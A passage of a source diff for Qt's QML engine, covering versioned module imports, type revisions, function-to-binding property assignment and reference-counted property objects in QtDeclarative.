QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QString &,
QDeclarativeExpressionPrivate &dd);
+ QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QScriptValue &,
+ QDeclarativeExpressionPrivate &dd);
QDeclarativeExpression(QDeclarativeContextData *, void *, QDeclarativeRefCount *rc,
QObject *me, const QString &, int, QDeclarativeExpressionPrivate &dd);
diff --git a/src/declarative/qml/qdeclarativeexpression_p.h b/src/declarative/qml/qdeclarativeexpression_p.h
index 1d25609..51cae0f 100644
--- a/src/declarative/qml/qdeclarativeexpression_p.h
+++ b/src/declarative/qml/qdeclarativeexpression_p.h
@@ -113,6 +113,9 @@ class QDeclarativeQtScriptExpression : public QDeclarativeAbstractExpression,
public:
enum Mode { SharedContext, ExplicitContext };
+ enum EvaluateFlag { RequiresThisObject = 0x01 };
+ Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
+
QDeclarativeQtScriptExpression();
virtual ~QDeclarativeQtScriptExpression();
@@ -131,6 +134,9 @@ public:
void resetNotifyOnChange();
void setNotifyObject(QObject *, int );
+ void setEvaluateFlags(EvaluateFlags flags);
+ EvaluateFlags evaluateFlags() const;
+
QScriptValue scriptValue(QObject *secondaryScope, bool *isUndefined);
class DeleteWatcher {
@@ -157,8 +163,13 @@ private:
QObject *guardObject;
int guardObjectNotifyIndex;
bool *deleted;
+
+ EvaluateFlags evalFlags;
};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeQtScriptExpression::EvaluateFlags)
+
+
class QDeclarativeExpression;
class QString;
class QDeclarativeExpressionPrivate : public QObjectPrivate, public QDeclarativeQtScriptExpression
@@ -169,6 +180,7 @@ public:
~QDeclarativeExpressionPrivate();
void init(QDeclarativeContextData *, const QString &, QObject *);
+ void init(QDeclarativeContextData *, const QScriptValue &, QObject *);
void init(QDeclarativeContextData *, void *, QDeclarativeRefCount *, QObject *, const QString &, int);
QVariant value(QObject *secondaryScope = 0, bool *isUndefined = 0);
diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp
index 560077f..f111c20 100644
--- a/src/declarative/qml/qdeclarativeimageprovider.cpp
+++ b/src/declarative/qml/qdeclarativeimageprovider.cpp
@@ -75,6 +75,16 @@ public:
invokes the appropriate image provider according to the providers that have
been registered through QDeclarativeEngine::addImageProvider().
+ Note that the identifiers are case-insensitive, but the rest of the URL will be passed on with
+ preserved case. For example, the below snippet would still specify that the image is loaded by the
+ image provider named "myimageprovider", but it would request a different image than the above snippet
+ ("Image.png" instead of "image.png").
+ \qml
+ Image { source: "image://MyImageProvider/Image.png" }
+ \endqml
+
+ If you want the rest of the URL to be case insensitive, you will have to take care
+ of that yourself inside your image provider.
\section2 An example
diff --git a/src/declarative/qml/qdeclarativeimport.cpp b/src/declarative/qml/qdeclarativeimport.cpp
index c89666d..7a1234d 100644
--- a/src/declarative/qml/qdeclarativeimport.cpp
+++ b/src/declarative/qml/qdeclarativeimport.cpp
@@ -425,8 +425,18 @@ QString QDeclarativeImportsPrivate::resolvedUri(const QString &dir_arg, QDeclara
break;
}
}
+
+ stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('/'));
+
+ // remove optional versioning in dot notation from uri
+ int lastSlash = stableRelativePath.lastIndexOf(QLatin1Char('/'));
+ if (lastSlash >= 0) {
+ int versionDot = stableRelativePath.indexOf(QLatin1Char('.'), lastSlash);
+ if (versionDot >= 0)
+ stableRelativePath = stableRelativePath.left(versionDot);
+ }
+
stableRelativePath.replace(QLatin1Char('/'), QLatin1Char('.'));
- stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('.'));
return stableRelativePath;
}
@@ -447,42 +457,85 @@ bool QDeclarativeImportsPrivate::add(const QDeclarativeDirComponents &qmldircomp
}
QString url = uri;
+ bool versionFound = false;
if (importType == QDeclarativeScriptParser::Import::Library) {
url.replace(QLatin1Char('.'), QLatin1Char('/'));
bool found = false;
QString dir;
- foreach (const QString &p, database->fileImportPath) {
- dir = p+QLatin1Char('/')+url;
+ // step 1: search for extension with fully encoded version number
+ if (vmaj >= 0 && vmin >= 0) {
+ foreach (const QString &p, database->fileImportPath) {
+ dir = p+QLatin1Char('/')+url;
- QFileInfo fi(dir+QLatin1String("/qmldir"));
- const QString absoluteFilePath = fi.absoluteFilePath();
+ QFileInfo fi(dir+QString(QLatin1String(".%1.%2")).arg(vmaj).arg(vmin)+QLatin1String("/qmldir"));
+ const QString absoluteFilePath = fi.absoluteFilePath();
- if (fi.isFile()) {
- found = true;
+ if (fi.isFile()) {
+ found = true;
- url = QUrl::fromLocalFile(fi.absolutePath()).toString();
- uri = resolvedUri(dir, database);
- if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
- return false;
- break;
+ url = QUrl::fromLocalFile(fi.absolutePath()).toString();
+ uri = resolvedUri(dir, database);
+ if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+ return false;
+ break;
+ }
}
}
+ // step 2: search for extension with encoded version major
+ if (vmaj >= 0 && vmin >= 0) {
+ foreach (const QString &p, database->fileImportPath) {
+ dir = p+QLatin1Char('/')+url;
+
+ QFileInfo fi(dir+QString(QLatin1String(".%1")).arg(vmaj)+QLatin1String("/qmldir"));
+ const QString absoluteFilePath = fi.absoluteFilePath();
+ if (fi.isFile()) {
+ found = true;
+
+ url = QUrl::fromLocalFile(fi.absolutePath()).toString();
+ uri = resolvedUri(dir, database);
+ if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+ return false;
+ break;
+ }
+ }
+ }
if (!found) {
- found = QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin);
- if (!found) {
- if (errorString) {
- bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), -1, -1);
- if (anyversion)
- *errorString = QDeclarativeImportDatabase::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin);
- else
- *errorString = QDeclarativeImportDatabase::tr("module \"%1\" is not installed").arg(uri_arg);
+ // step 3: search for extension without version number
+
+ foreach (const QString &p, database->fileImportPath) {
+ dir = p+QLatin1Char('/')+url;
+
+ QFileInfo fi(dir+QLatin1String("/qmldir"));
+ const QString absoluteFilePath = fi.absoluteFilePath();
+
+ if (fi.isFile()) {
+ found = true;
+
+ url = QUrl::fromLocalFile(fi.absolutePath()).toString();
+ uri = resolvedUri(dir, database);
+ if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+ return false;
+ break;
}
- return false;
}
}
+
+ if (QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin))
+ versionFound = true;
+
+ if (!versionFound && qmldircomponents.isEmpty()) {
+ if (errorString) {
+ bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), -1, -1);
+ if (anyversion)
+ *errorString = QDeclarativeImportDatabase::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin);
+ else
+ *errorString = QDeclarativeImportDatabase::tr("module \"%1\" is not installed").arg(uri_arg);
+ }
+ return false;
+ }
} else {
if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) {
@@ -526,7 +579,7 @@ bool QDeclarativeImportsPrivate::add(const QDeclarativeDirComponents &qmldircomp
url.chop(1);
}
- if (vmaj > -1 && vmin > -1 && !qmldircomponents.isEmpty()) {
+ if (!versionFound && vmaj > -1 && vmin > -1 && !qmldircomponents.isEmpty()) {
QList<QDeclarativeDirParser::Component>::ConstIterator it = qmldircomponents.begin();
int lowest_maj = INT_MAX;
int lowest_min = INT_MAX;
@@ -660,6 +713,7 @@ bool QDeclarativeImportedNamespace::find(const QByteArray& type, int *vmajor, in
/*!
\class QDeclarativeImportDatabase
\brief The QDeclarativeImportDatabase class manages the QML imports for a QDeclarativeEngine.
+\internal
*/
QDeclarativeImportDatabase::QDeclarativeImportDatabase(QDeclarativeEngine *e)
: engine(e)
@@ -874,23 +928,33 @@ QString QDeclarativeImportDatabase::resolvePlugin(const QDir &qmldirPath, const
#endif
}
+/*!
+ \internal
+*/
QStringList QDeclarativeImportDatabase::pluginPathList() const
{
return filePluginPath;
}
+/*!
+ \internal
+*/
void QDeclarativeImportDatabase::setPluginPathList(const QStringList &paths)
{
filePluginPath = paths;
}
+/*!
+ \internal
+*/
void QDeclarativeImportDatabase::addPluginPath(const QString& path)
{
if (qmlImportTrace())
qDebug().nospace() << "QDeclarativeImportDatabase::addPluginPath: " << path;
QUrl url = QUrl(path);
- if (url.isRelative() || url.scheme() == QLatin1String("file")) {
+ if (url.isRelative() || url.scheme() == QLatin1String("file")
+ || (url.scheme().length() == 1 && QFile::exists(path)) ) { // windows path
QDir dir = QDir(path);
filePluginPath.prepend(dir.canonicalPath());
} else {
@@ -898,6 +962,9 @@ void QDeclarativeImportDatabase::addPluginPath(const QString& path)
}
}
+/*!
+ \internal
+*/
void QDeclarativeImportDatabase::addImportPath(const QString& path)
{
if (qmlImportTrace())
@@ -909,7 +976,8 @@ void QDeclarativeImportDatabase::addImportPath(const QString& path)
QUrl url = QUrl(path);
QString cPath;
- if (url.isRelative() || url.scheme() == QLatin1String("file")) {
+ if (url.isRelative() || url.scheme() == QLatin1String("file")
+ || (url.scheme().length() == 1 && QFile::exists(path)) ) { // windows path
QDir dir = QDir(path);
cPath = dir.canonicalPath();
} else {
@@ -922,17 +990,25 @@ void QDeclarativeImportDatabase::addImportPath(const QString& path)
fileImportPath.prepend(cPath);
}
+/*!
+ \internal
+*/
QStringList QDeclarativeImportDatabase::importPathList() const
{
return fileImportPath;
}
+/*!
+ \internal
+*/
void QDeclarativeImportDatabase::setImportPathList(const QStringList &paths)
{
fileImportPath = paths;
}
-
+/*!
+ \internal
+*/
bool QDeclarativeImportDatabase::importPlugin(const QString &filePath, const QString &uri, QString *errorString)
{
if (qmlImportTrace())
diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h
index 59cce84..20be889 100644
--- a/src/declarative/qml/qdeclarativeinstruction_p.h
+++ b/src/declarative/qml/qdeclarativeinstruction_p.h
@@ -182,6 +182,7 @@ public:
struct CreateSimpleInstruction {
void (*create)(void *);
int typeSize;
+ int type;
ushort column;
};
struct StoreMetaInstruction {
diff --git a/src/declarative/qml/qdeclarativelist.cpp b/src/declarative/qml/qdeclarativelist.cpp
index 9598d98..346fee5 100644
--- a/src/declarative/qml/qdeclarativelist.cpp
+++ b/src/declarative/qml/qdeclarativelist.cpp
@@ -88,6 +88,7 @@ void QDeclarativeListReferencePrivate::release()
/*!
\class QDeclarativeListReference
\since 4.7
+\module QtDeclarative
\brief The QDeclarativeListReference class allows the manipulation of QDeclarativeListProperty properties.
QDeclarativeListReference allows C++ programs to read from, and assign values to a QML list property in a
diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp
index 27fb2c7..bf1f699 100644
--- a/src/declarative/qml/qdeclarativemetatype.cpp
+++ b/src/declarative/qml/qdeclarativemetatype.cpp
@@ -134,10 +134,14 @@ public:
bool m_isInterface : 1;
const char *m_iid;
+ QByteArray m_module;
QByteArray m_name;
int m_version_maj;
int m_version_min;
int m_typeId; int m_listId;
+ int m_revision;
+ mutable bool m_containsRevisionedAttributes;
+ mutable QDeclarativeType *m_superType;
int m_allocationSize;
void (*m_newFunc)(void *);
@@ -155,6 +159,7 @@ public:
int m_index;
QDeclarativeCustomParser *m_customParser;
mutable volatile bool m_isSetup:1;
+ mutable bool m_haveSuperType : 1;
mutable QList<QDeclarativeProxyMetaObject::ProxyData> m_metaObjects;
static QHash<const QMetaObject *, int> m_attachedPropertyIds;
@@ -163,10 +168,11 @@ public:
QHash<const QMetaObject *, int> QDeclarativeTypePrivate::m_attachedPropertyIds;
QDeclarativeTypePrivate::QDeclarativeTypePrivate()
-: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0),
- m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), m_attachedPropertiesType(0),
- m_parserStatusCast(-1), m_propertyValueSourceCast(-1), m_propertyValueInterceptorCast(-1),
- m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false)
+: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_containsRevisionedAttributes(false),
+ m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0),
+ m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1),
+ m_propertyValueInterceptorCast(-1), m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0),
+ m_isSetup(false), m_haveSuperType(false)
{
}
@@ -192,9 +198,12 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe
if (type.uri) name += '/';
name += type.elementName;
+ d->m_module = type.uri;
d->m_name = name;
d->m_version_maj = type.versionMajor;
d->m_version_min = type.versionMinor;
+ if (type.version >= 1) // revisions added in version 1
+ d->m_revision = type.revision;
d->m_typeId = type.typeId;
d->m_listId = type.listId;
d->m_allocationSize = type.objectSize;
@@ -228,6 +237,11 @@ QDeclarativeType::~QDeclarativeType()
delete d;
}
+QByteArray QDeclarativeType::module() const
+{
+ return d->m_module;
+}
+
int QDeclarativeType::majorVersion() const
{
return d->m_version_maj;
@@ -243,6 +257,26 @@ bool QDeclarativeType::availableInVersion(int vmajor, int vminor) const
return vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min);
}
+bool QDeclarativeType::availableInVersion(const QByteArray &module, int vmajor, int vminor) const
+{
+ return module == d->m_module && (vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min));
+}
+
+// returns the nearest _registered_ super class
+QDeclarativeType *QDeclarativeType::superType() const
+{
+ if (!d->m_haveSuperType) {
+ const QMetaObject *mo = d->m_baseMetaObject->superClass();
+ while (mo && !d->m_superType) {
+ d->m_superType = QDeclarativeMetaType::qmlType(mo, d->m_module, d->m_version_maj, d->m_version_min);
+ mo = mo->superClass();
+ }
+ d->m_haveSuperType = true;
+ }
+
+ return d->m_superType;
+}
+
static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo,
const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd)
{
@@ -356,6 +390,25 @@ void QDeclarativeTypePrivate::init() const
m_metaObjects[ii].methodOffset =
m_metaObjects.at(ii).metaObject->methodOffset();
}
+
+ // Check for revisioned details
+ {
+ const QMetaObject *mo = 0;
+ if (m_metaObjects.isEmpty())
+ mo = m_baseMetaObject;
+ else
+ mo = m_metaObjects.first().metaObject;
+
+ for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->propertyCount(); ++ii) {
+ if (mo->property(ii).revision() != 0)
+ m_containsRevisionedAttributes = true;
+ }
+
+ for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->methodCount(); ++ii) {
+ if (mo->method(ii).revision() != 0)
+ m_containsRevisionedAttributes = true;
+ }
+ }
m_isSetup = true;
lock.unlock();
@@ -464,6 +517,18 @@ const QMetaObject *QDeclarativeType::baseMetaObject() const
return d->m_baseMetaObject;
}
+bool QDeclarativeType::containsRevisionedAttributes() const
+{
+ d->init();
+
+ return d->m_containsRevisionedAttributes;
+}
+
+int QDeclarativeType::metaObjectRevision() const
+{
+ return d->m_revision;
+}
+
QDeclarativeAttachedPropertiesFunc QDeclarativeType::attachedPropertiesFunction() const
{
return d->m_attachedPropertiesFunc;
@@ -572,7 +637,7 @@ int registerType(const QDeclarativePrivate::RegisterType &type)
if (!dtype->qmlTypeName().isEmpty())
data->nameToType.insertMulti(dtype->qmlTypeName(), dtype);
- data->metaObjectToType.insert(dtype->baseMetaObject(), dtype);
+ data->metaObjectToType.insertMulti(dtype->baseMetaObject(), dtype);
if (data->objects.size() <= type.typeId)
data->objects.resize(type.typeId + 16);
@@ -862,6 +927,27 @@ QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject)
}
/*!
+ Returns the type (if any) that corresponds to the \a metaObject in version specified
+ by \a version_major and \a version_minor in module specified by \a uri. Returns null if no
+ type is registered.
+*/
+QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ QDeclarativeMetaTypeData::MetaObjects::const_iterator it = data->metaObjectToType.find(metaObject);
+ while (it != data->metaObjectToType.end() && it.key() == metaObject) {
+ QDeclarativeType *t = *it;
+ if (version_major < 0 || t->availableInVersion(module, version_major,version_minor))
+ return t;
+ ++it;
+ }
+
+ return 0;
+}
+
+/*!
Returns the type (if any) that corresponds to the QVariant::Type \a userType.
Returns null if no type is registered.
*/
@@ -929,6 +1015,93 @@ QT_END_NAMESPACE
Q_DECLARE_METATYPE(QScriptValue);
QT_BEGIN_NAMESPACE
+
+bool QDeclarativeMetaType::canCopy(int type)
+{
+ switch(type) {
+ case QMetaType::VoidStar:
+ case QMetaType::QObjectStar:
+ case QMetaType::QWidgetStar:
+ case QMetaType::Long:
+ case QMetaType::Int:
+ case QMetaType::Short:
+ case QMetaType::Char:
+ case QMetaType::ULong:
+ case QMetaType::UInt:
+ case QMetaType::LongLong:
+ case QMetaType::ULongLong:
+ case QMetaType::UShort:
+ case QMetaType::UChar:
+ case QMetaType::Bool:
+ case QMetaType::Float:
+ case QMetaType::Double:
+ case QMetaType::QChar:
+ case QMetaType::QVariantMap:
+ case QMetaType::QVariantHash:
+ case QMetaType::QVariantList:
+ case QMetaType::QByteArray:
+ case QMetaType::QString:
+ case QMetaType::QStringList:
+ case QMetaType::QBitArray:
+ case QMetaType::QDate:
+ case QMetaType::QTime:
+ case QMetaType::QDateTime:
+ case QMetaType::QUrl:
+ case QMetaType::QLocale:
+ case QMetaType::QRect:
+ case QMetaType::QRectF:
+ case QMetaType::QSize:
+ case QMetaType::QSizeF:
+ case QMetaType::QLine:
+ case QMetaType::QLineF:
+ case QMetaType::QPoint:
+ case QMetaType::QPointF:
+ case QMetaType::QVector3D:
+#ifndef QT_NO_REGEXP
+ case QMetaType::QRegExp:
+#endif
+ case QMetaType::Void:
+#ifdef QT3_SUPPORT
+ case QMetaType::QColorGroup:
+#endif
+ case QMetaType::QFont:
+ case QMetaType::QPixmap:
+ case QMetaType::QBrush:
+ case QMetaType::QColor:
+ case QMetaType::QPalette:
+ case QMetaType::QIcon:
+ case QMetaType::QImage:
+ case QMetaType::QPolygon:
+ case QMetaType::QRegion:
+ case QMetaType::QBitmap:
+#ifndef QT_NO_CURSOR
+ case QMetaType::QCursor:
+#endif
+ case QMetaType::QSizePolicy:
+ case QMetaType::QKeySequence:
+ case QMetaType::QPen:
+ case QMetaType::QTextLength:
+ case QMetaType::QTextFormat:
+ case QMetaType::QMatrix:
+ case QMetaType::QTransform:
+ case QMetaType::QMatrix4x4:
+ case QMetaType::QVector2D:
+ case QMetaType::QVector4D:
+ case QMetaType::QQuaternion:
+ return true;
+
+ default:
+ if (type == qMetaTypeId<QVariant>() ||
+ type == qMetaTypeId<QScriptValue>() ||
+ typeCategory(type) != Unknown) {
+ return true;
+ }
+ break;
+ }
+
+ return false;
+}
+
/*!
Copies \a copy into \a data, assuming they both are of type \a type. If
\a copy is zero, a default type is copied. Returns true if the copy was
diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h
index 4e84ee8..aab1c31 100644
--- a/src/declarative/qml/qdeclarativemetatype_p.h
+++ b/src/declarative/qml/qdeclarativemetatype_p.h
@@ -69,6 +69,7 @@ class QDeclarativeTypePrivate;
class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeMetaType
{
public:
+ static bool canCopy(int type);
static bool copy(int type, void *data, const void *copy = 0);
static QList<QByteArray> qmlTypeNames();
@@ -76,6 +77,7 @@ public:
static QDeclarativeType *qmlType(const QByteArray &, int, int);
static QDeclarativeType *qmlType(const QMetaObject *);
+ static QDeclarativeType *qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor);
static QDeclarativeType *qmlType(int);
static QMetaProperty defaultProperty(const QMetaObject *);
@@ -112,9 +114,12 @@ public:
QByteArray typeName() const;
QByteArray qmlTypeName() const;
+ QByteArray module() const;
int majorVersion() const;
int minorVersion() const;
+
bool availableInVersion(int vmajor, int vminor) const;
+ bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const;
QObject *create() const;
void create(QObject **, void **, size_t) const;
@@ -135,6 +140,8 @@ public:
const QMetaObject *metaObject() const;
const QMetaObject *baseMetaObject() const;
+ int metaObjectRevision() const;
+ bool containsRevisionedAttributes() const;
QDeclarativeAttachedPropertiesFunc attachedPropertiesFunction() const;
const QMetaObject *attachedPropertiesType() const;
@@ -149,6 +156,7 @@ public:
int index() const;
private:
+ QDeclarativeType *superType() const;
friend class QDeclarativeTypePrivate;
friend struct QDeclarativeMetaTypeData;
friend int registerType(const QDeclarativePrivate::RegisterType &);
diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
index eea928c..dc3ecca 100644
--- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
+++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
@@ -149,8 +149,8 @@ QDeclarativeObjectScriptClass::queryProperty(Object *object, const Identifier &n
QScriptClass::QueryFlags
QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &name,
- QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
- QueryHints hints)
+ QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
+ QueryHints hints)
{
Q_UNUSED(flags);
lastData = 0;
@@ -165,6 +165,12 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam
QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
+ if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
+
+ QDeclarativeData *ddata = QDeclarativeData::get(obj);
+ if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData))
+ return 0;
+ }
if (lastData)
return QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess;
@@ -354,8 +360,20 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
}
}
+ QDeclarativeBinding *newBinding = 0;
+ if (value.isFunction() && !value.isRegExp()) {
+ QScriptContextInfo ctxtInfo(context);
+ QDeclarativePropertyCache::ValueTypeData valueTypeData;
+
+ newBinding = new QDeclarativeBinding(value, obj, evalContext);
+ newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
+ newBinding->setTarget(QDeclarativePropertyPrivate::restore(*lastData, valueTypeData, obj, evalContext));
+ if (newBinding->expression().contains(QLatin1String("this")))
+ newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
+ }
+
QDeclarativeAbstractBinding *delBinding =
- QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, 0);
+ QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, newBinding);
if (delBinding)
delBinding->destroy();
@@ -374,9 +392,8 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
QString error = QLatin1String("Cannot assign [undefined] to ") +
QLatin1String(QMetaType::typeName(lastData->propType));
context->throwError(error);
- } else if (!value.isRegExp() && value.isFunction()) {
- QString error = QLatin1String("Cannot assign a function to a property.");
- context->throwError(error);
+ } else if (value.isFunction() && !value.isRegExp()) {
+ // this is handled by the binding creation above
} else {
QVariant v;
if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp
index da4016e..d5b9424 100644
--- a/src/declarative/qml/qdeclarativeparser.cpp
+++ b/src/declarative/qml/qdeclarativeparser.cpp
@@ -66,13 +66,14 @@ using namespace QDeclarativeJS;
using namespace QDeclarativeParser;
QDeclarativeParser::Object::Object()
-: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), defaultProperty(0), parserStatusCast(-1)
+: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), synthCache(0), defaultProperty(0), parserStatusCast(-1)
{
}
QDeclarativeParser::Object::~Object()
{
if (defaultProperty) defaultProperty->release();
+ if (synthCache) synthCache->release();
foreach(Property *prop, properties)
prop->release();
foreach(Property *prop, valueProperties)
@@ -224,9 +225,9 @@ QDeclarativeParser::Property::~Property()
if (value) value->release();
}
-Object *QDeclarativeParser::Property::getValue(const LocationSpan &l)
+QDeclarativeParser::Object *QDeclarativeParser::Property::getValue(const LocationSpan &l)
{
- if (!value) { value = new Object; value->location = l; }
+ if (!value) { value = new QDeclarativeParser::Object; value->location = l; }
return value;
}
diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h
index 6ef2811..8f41a91 100644
--- a/src/declarative/qml/qdeclarativeparser_p.h
+++ b/src/declarative/qml/qdeclarativeparser_p.h
@@ -71,6 +71,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
+class QDeclarativePropertyCache;
namespace QDeclarativeJS { namespace AST { class Node; } }
/*
@@ -154,6 +155,7 @@ namespace QDeclarativeParser
QAbstractDynamicMetaObject extObject;
QByteArray metadata; // Generated by compiler
QByteArray synthdata; // Generated by compiler
+ QDeclarativePropertyCache *synthCache; // Generated by compiler
Property *getDefaultProperty();
Property *getProperty(const QByteArray &name, bool create=true);
diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h
index 6e73ec9..7ac3369 100644
--- a/src/declarative/qml/qdeclarativeprivate.h
+++ b/src/declarative/qml/qdeclarativeprivate.h
@@ -214,6 +214,8 @@ namespace QDeclarativePrivate
const QMetaObject *extensionMetaObject;
QDeclarativeCustomParser *customParser;
+ int revision;
+ // If this is extended ensure "version" is bumped!!!
};
struct RegisterInterface {
diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp
index 8210314..0dd0edb 100644
--- a/src/declarative/qml/qdeclarativeproperty.cpp
+++ b/src/declarative/qml/qdeclarativeproperty.cpp
@@ -106,15 +106,16 @@ qWarning() << "Pixel size should now be 24:" << property.read().toInt();
Create an invalid QDeclarativeProperty.
*/
QDeclarativeProperty::QDeclarativeProperty()
-: d(new QDeclarativePropertyPrivate)
+: d(0)
{
- d->q = this;
}
/*! \internal */
QDeclarativeProperty::~QDeclarativeProperty()
{
- delete d; d = 0;
+ if (d)
+ d->release();
+ d = 0;
}
/*!
@@ -124,7 +125,6 @@ QDeclarativeProperty::~QDeclarativeProperty()
QDeclarativeProperty::QDeclarativeProperty(QObject *obj)
: d(new QDeclarativePropertyPrivate)
{
- d->q = this;
d->initDefault(obj);
}
@@ -137,7 +137,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj)
QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ctxt)
: d(new QDeclarativePropertyPrivate)
{
- d->q = this;
d->context = ctxt?QDeclarativeContextData::get(ctxt):0;
d->engine = ctxt?ctxt->engine():0;
d->initDefault(obj);
@@ -152,7 +151,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ct
QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeEngine *engine)
: d(new QDeclarativePropertyPrivate)
{
- d->q = this;
d->context = 0;
d->engine = engine;
d->initDefault(obj);
@@ -178,7 +176,6 @@ void QDeclarativePropertyPrivate::initDefault(QObject *obj)
QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name)
: d(new QDeclarativePropertyPrivate)
{
- d->q = this;
d->initProperty(obj, name);
if (!isValid()) d->object = 0;
}
@@ -190,7 +187,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name)
QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeContext *ctxt)
: d(new QDeclarativePropertyPrivate)
{
- d->q = this;
d->context = ctxt?QDeclarativeContextData::get(ctxt):0;
d->engine = ctxt?ctxt->engine():0;
d->initProperty(obj, name);
@@ -205,7 +201,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QD
QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeEngine *engine)
: d(new QDeclarativePropertyPrivate)
{
- d->q = this;
d->context = 0;
d->engine = engine;
d->initProperty(obj, name);
@@ -315,6 +310,8 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name
if (property && !(property->flags & QDeclarativePropertyCache::Data::IsFunction)) {
object = currentObject;
core = *property;
+ nameCache = terminal;
+ isNameCached = true;
}
}
@@ -322,9 +319,10 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name
Create a copy of \a other.
*/
QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other)
-: d(new QDeclarativePropertyPrivate(*other.d))
{
- d->q = this;
+ d = other.d;
+ if (d)
+ d->addref();
}
/*!
@@ -353,13 +351,13 @@ QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other)
*/
QDeclarativeProperty::PropertyTypeCategory QDeclarativeProperty::propertyTypeCategory() const
{
- return d->propertyTypeCategory();
+ return d ? d->propertyTypeCategory() : InvalidCategory;
}
QDeclarativeProperty::PropertyTypeCategory
QDeclarativePropertyPrivate::propertyTypeCategory() const
{
